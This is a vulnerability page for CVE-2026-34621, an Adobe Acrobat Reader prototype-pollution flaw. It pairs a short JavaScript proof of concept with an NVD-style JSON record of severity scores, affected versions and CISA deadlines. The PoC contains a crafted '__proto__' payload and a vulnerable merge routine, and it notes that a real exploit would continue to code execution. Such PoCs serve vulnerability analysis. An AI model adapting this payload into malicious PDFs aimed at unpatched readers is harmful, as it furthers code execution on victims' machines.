CVE-2026-34621

/** * Conceptual Proof of Concept (PoC) for CVE-2026-34621 * Intended for educational purposes and vulnerability analysis. * * Description: This script demonstrates how a Prototype Pollution * vulnerability can be triggered within a JavaScript environment * similar to that used in Adobe Acrobat Reader. */ function triggerPrototypePollution() { // 1. Simulate a vulnerable object manipulation function (e.g., a merge utility) // In the real vulnerability, this might be an internal Acrobat API. function vulnerableMerge(target, source) { for (const key in source) { // Vulnerability: lack of key validation for __proto__ or constructor target[key] = source[key]; } return target; } // 2. Craft the malicious payload to pollute the prototype // This payload attempts to add a 'maliciousProperty' to Object.prototype const maliciousPayload = JSON.parse('{"__proto__": {"maliciousProperty": "exploited"}}'); // 3. Trigger the vulnerable function with an empty target const victimObject = {}; vulnerableMerge(victimObject, maliciousPayload); // 4. Verification: Check if the pollution affected all objects const testObject = {}; if (testObject.maliciousProperty === "exploited") { app.alert("PoC Success: Prototype polluted!"); // At this stage in a real exploit, further actions would be taken // to achieve arbitrary code execution (RCE). } else { app.alert("PoC Failed: Prototype not polluted."); } } // Execute the PoC triggerPrototypePollution();

{"cve": {"id": "CVE-2026-34621", "sourceIdentifier": "[email protected]", "published": "2026-04-11T07:16:03.633", "lastModified": "2026-04-13T21:23:27.000", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Acrobat Reader versions 24.001.30356, 26.001.21367 and earlier are affected by an Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 6.0}]}, "cisaExploitAdd": "2026-04-13", "cisaActionDue": "2026-04-27", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "Adobe Acrobat and Reader Prototype Pollution Vulnerability", "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1321"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:acrobat_dc:*:*:*:*:continuous:*:*:*", "versionEndExcluding": "26.001.21411", "matchCriteriaId": "C1D9FFF0-C948-4C17-8E0C-9245DD3ADDCB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:acrobat_reader_dc:*:*:*:*:continuous:*:*:*", "versionEndExcluding": "26.001.21411", "matchCriteriaId": "6E91BACA-4DE1-4412-BE17-0992FDEEC66B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:acrobat:*:*:*:*:classic:*:*:*", "versionStartIncluding": "24.0.0", "versionEndExcluding": "24.001.30362", "matchCriteriaId": "0287242D-1301-49AF-B416-C37114304EF4"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:acrobat:*:*:*:*:classic:*:*:*", "versionStartIncluding": "24.0.0", "versionEndExcluding": "24.001.30360", "matchCriteriaId": "528A400D-E038-41E4-B3C8-ED5BA10BD63E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/acrobat/apsb26-43.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-34621", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["US Government Resource"]}]}}